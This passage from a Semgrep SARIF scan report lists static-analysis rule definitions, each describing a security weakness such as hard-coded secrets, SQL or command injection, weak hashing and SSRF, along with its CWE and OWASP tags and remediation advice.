types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","id":"python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","name":"python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.use-of-md5.use-of-md5","id":"kotlin.lang.security.use-of-md5.use-of-md5","name":"kotlin.lang.security.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","id":"csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","name":"csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","id":"swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","name":"swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.no-null-cipher.no-null-cipher","id":"kotlin.lang.security.no-null-cipher.no-null-cipher","name":"kotlin.lang.security.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"help":{"markdown":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","id":"javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","name":"javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option."},"help":{"markdown":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","id":"javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","name":"javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input)\n - [https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html](https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","id":"java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","name":"java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.vm-express.vm-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.vm-express.vm-express","id":"javascript.express.code.vm-express.vm-express","name":"javascript.express.code.vm-express.vm-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.vm-express.vm-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead."},"help":{"markdown":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv)\n - [https://nodejs.org/api/crypto.html#cryptocreatecipheralgorithm-password-options](https://nodejs.org/api/crypto.html#cryptocreatecipheralgorithm-password-options)\n - [https://nodejs.org/api/crypto.html#cryptocreatedecipheralgorithm-password-options](https://nodejs.org/api/crypto.html#cryptocreatedecipheralgorithm-password-options)\n","text":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","id":"javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","name":"javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","properties":{"precision":"very-high","tags":["CWE-1204: Generation of Weak Initialization Vector (IV)","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking."},"help":{"markdown":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-regex-dos.check-regex-dos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n","text":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","id":"ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","name":"ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-regex-dos.check-regex-dos"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","id":"yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","name":"yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead."},"help":{"markdown":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-random.weak-random)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-random.weak-random","id":"java.lang.security.audit.crypto.weak-random.weak-random","name":"java.lang.security.audit.crypto.weak-random.weak-random","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-random.weak-random"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-sqli-taint.pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-sqli-taint.pg-sqli-taint","id":"go.net.sql.pg-sqli-taint.pg-sqli-taint","name":"go.net.sql.pg-sqli-taint.pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-sqli-taint.pg-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-request.http-request)\n - [https://golang.org/pkg/net/http/#Get](https://golang.org/pkg/net/http/#Get)\n","text":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","id":"problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","name":"problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.http-request.http-request"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter."},"help":{"markdown":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.avoid-mktemp.avoid-mktemp)\n - [https://docs.python.org/3/library/tempfile.html#tempfile.mktemp](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter."},"helpUri":"https://semgrep.dev/r/python.lang.file.avoid-mktemp.avoid-mktemp","id":"python.lang.file.avoid-mktemp.avoid-mktemp","name":"python.lang.file.avoid-mktemp.avoid-mktemp","properties":{"precision":"very-high","tags":["CWE-377: Insecure Temporary File","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.avoid-mktemp.avoid-mktemp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","id":"java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","name":"java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep)\n - 